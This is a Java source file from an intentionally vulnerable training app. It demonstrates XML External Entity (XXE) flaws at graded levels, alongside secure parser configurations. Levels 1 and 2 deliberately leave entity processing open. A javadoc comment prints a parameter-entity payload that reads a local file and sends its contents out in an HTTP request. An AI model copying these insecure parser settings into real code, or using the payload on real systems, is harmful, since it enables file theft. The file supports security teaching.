package org.sasanlabs.service.vulnerability.xxe;

import java.io.InputStream;
import javax.servlet.http.HttpServletRequest;
import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBElement;
import javax.xml.bind.JAXBException;
import javax.xml.bind.Unmarshaller;
import javax.xml.parsers.ParserConfigurationException;
import javax.xml.parsers.SAXParserFactory;
import javax.xml.transform.Source;
import javax.xml.transform.sax.SAXSource;
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.sasanlabs.internal.utility.LevelConstants;
import org.sasanlabs.internal.utility.Variant;
import org.sasanlabs.internal.utility.annotations.AttackVector;
import org.sasanlabs.internal.utility.annotations.VulnerableAppRequestMapping;
import org.sasanlabs.internal.utility.annotations.VulnerableAppRestController;
import org.sasanlabs.service.vulnerability.bean.GenericVulnerabilityResponseBean;
import org.sasanlabs.service.vulnerability.xxe.bean.Book;
import org.sasanlabs.service.vulnerability.xxe.bean.ObjectFactory;
import org.sasanlabs.service.vulnerability.xxe.dao.BookEntity;
import org.sasanlabs.service.vulnerability.xxe.dao.BookEntityRepository;
import org.sasanlabs.vulnerability.types.VulnerabilityType;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.RequestMethod;
import org.xml.sax.InputSource;
import org.xml.sax.SAXException;

/**
 * Resources referred while writing this Vulnerability. <br>
 * General XXE: <br>
 * 1. https://www.youtube.com/watch?v=DREgLWZqMWg <br>
 * 2. https://portswigger.net/web-security/xxe <br>
 * 3. https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9 <br>
 *
 * <p>Parameter Entities attack:<br>
 * 1. https://securitylab.github.com/research/restlet_xxe_vulnerability_CVE-2017-14949 <br>
 *
 * <p>Prevention technique: <br>
 * 1.
 * https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.md
 * <br>
 *
 * @author KSASAN preetkaran20@gmail.com
 */
@VulnerableAppRestController(descriptionLabel = "XXE_VULNERABILITY", value = "XXEVulnerability")
public class XXEVulnerability {

    private BookEntityRepository bookEntityRepository;
    private static final transient Logger LOGGER = LogManager.getLogger(XXEVulnerability.class);

    public XXEVulnerability(BookEntityRepository bookEntityRepository) {
        // This needs to be done to access Server's Local File and doing Http Outbound call.
        System.setProperty("javax.xml.accessExternalDTD", "all");
        this.bookEntityRepository = bookEntityRepository;
    }

    // No XXE protection
    @AttackVector(vulnerabilityExposed = VulnerabilityType.XXE, description = "XXE_NO_VALIDATION")
    @VulnerableAppRequestMapping(
            value = LevelConstants.LEVEL_1,
            htmlTemplate = "LEVEL_1/XXE",
            requestMethod = RequestMethod.POST)
    public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel1(
            HttpServletRequest request) {
        try {
            InputStream in = request.getInputStream();
            JAXBContext jc = JAXBContext.newInstance(ObjectFactory.class);
            Unmarshaller jaxbUnmarshaller = jc.createUnmarshaller();
            @SuppressWarnings("unchecked")
            JAXBElement<Book> bookJaxbElement =
                    (JAXBElement<Book>) (jaxbUnmarshaller.unmarshal(in));
            BookEntity bookEntity =
                    new BookEntity(bookJaxbElement.getValue(), LevelConstants.LEVEL_1);
            bookEntityRepository.save(bookEntity);
            return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
                    new GenericVulnerabilityResponseBean<Book>(bookJaxbElement.getValue(), true),
                    HttpStatus.OK);
        } catch (Exception e) {
            LOGGER.error(e);
        }
        return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
                new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
    }

    /**
     * Saves the JAXB Entity to Database and also builds the response.
     *
     * @param spf
     * @param in
     * @param level
     * @return GenericVulnerabilityResponseBean book
     * @throws JAXBException
     * @throws SAXException
     * @throws ParserConfigurationException
     */
    private ResponseEntity<GenericVulnerabilityResponseBean<Book>> saveJaxBBasedBookInformation(
            SAXParserFactory spf, InputStream in, String level)
            throws JAXBException, SAXException, ParserConfigurationException {
        JAXBContext jc = JAXBContext.newInstance(ObjectFactory.class);
        Source xmlSource = new SAXSource(spf.newSAXParser().getXMLReader(), new InputSource(in));
        Unmarshaller jaxbUnmarshaller = jc.createUnmarshaller();
        @SuppressWarnings("unchecked")
        JAXBElement<Book> bookJaxbElement =
                (JAXBElement<Book>) (jaxbUnmarshaller.unmarshal(xmlSource));
        BookEntity bookEntity = new BookEntity(bookJaxbElement.getValue(), level);
        bookEntityRepository.save(bookEntity);
        return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
                new GenericVulnerabilityResponseBean<Book>(bookJaxbElement.getValue(), true),
                HttpStatus.OK);
    }

    /*
     * Case insensitive DOCTYPE is not allowed so therefore not adding a level for
     * that.
     */

    /**
     * if external-parameter-entities are allowed then those parameter entities can cause harm like:
     *
     * <p><!ENTITY % file SYSTEM "file:///etc/notify.conf"> <!ENTITY % eval "<!ENTITY &#x25;
     * exfiltrate SYSTEM 'https://www.google.com/?x=%file;'>"> <!ENTITY xxe
     * 'file:///etc/notify.conf'> %eval; %exfiltrate; <?xml version="1.0" encoding="UTF-8"?>
     *
     * <p><!DOCTYPE root [ <!ENTITY % param1 SYSTEM "<file location refering DTD which has some code
     * like above.>"> %param1; ]> <book> <name>singh</name> <isbn>isbn</isbn>
     * <author>author</author> <publisher>exf</publisher> </book> <br>
     * Only Disabling General Entities cannot stop the XXE as General Parameter entities can cause
     * harmful attacks Like sending internal information to attacker controlled Website http
     * outbound call.
     */
    @AttackVector(
            vulnerabilityExposed = VulnerabilityType.XXE,
            description = "XXE_DISABLE_GENERAL_ENTITY")
    @VulnerableAppRequestMapping(
            value = LevelConstants.LEVEL_2,
            htmlTemplate = "LEVEL_1/XXE",
            requestMethod = RequestMethod.POST)
    public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel2(
            HttpServletRequest request) {
        try {
            InputStream in = request.getInputStream();
            // Only disabling external Entities
            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_2);
        } catch (Exception e) {
            LOGGER.error(e);
        }
        return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
                new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
    }

    // Protects against all XXE attacks. This is the configuration which is needed
    // in case application requires DOCTYPE declarations.
    @AttackVector(
            vulnerabilityExposed = VulnerabilityType.XXE,
            description = "XXE_DISABLE_GENERAL_AND_PARAMETER_ENTITY")
    @VulnerableAppRequestMapping(
            value = LevelConstants.LEVEL_3,
            htmlTemplate = "LEVEL_1/XXE",
            requestMethod = RequestMethod.POST,
            variant = Variant.SECURE)
    public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel3(
            HttpServletRequest request) {
        try {
            InputStream in = request.getInputStream();
            // disabling external Entities and parameter Entities
            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

            return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_3);
        } catch (Exception e) {
            LOGGER.error(e);
        }
        return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
                new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
    }

    // Protects against XXE. This is the configuration where DOCTYPE declaration is
    // not required.
    @VulnerableAppRequestMapping(
            value = LevelConstants.LEVEL_4,
            htmlTemplate = "LEVEL_1/XXE",
            requestMethod = RequestMethod.POST,
            variant = Variant.SECURE)
    public ResponseEntity<GenericVulnerabilityResponseBean<Book>> getVulnerablePayloadLevel4(
            HttpServletRequest request) {
        try {
            InputStream in = request.getInputStream();
            // Disabling DocType. Recommended approach
            SAXParserFactory spf = SAXParserFactory.newInstance();
            spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
            spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
            spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
            spf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

            return saveJaxBBasedBookInformation(spf, in, LevelConstants.LEVEL_4);
        } catch (Exception e) {
            LOGGER.error(e);
        }
        return new ResponseEntity<GenericVulnerabilityResponseBean<Book>>(
                new GenericVulnerabilityResponseBean<Book>(null, false), HttpStatus.OK);
    }
}
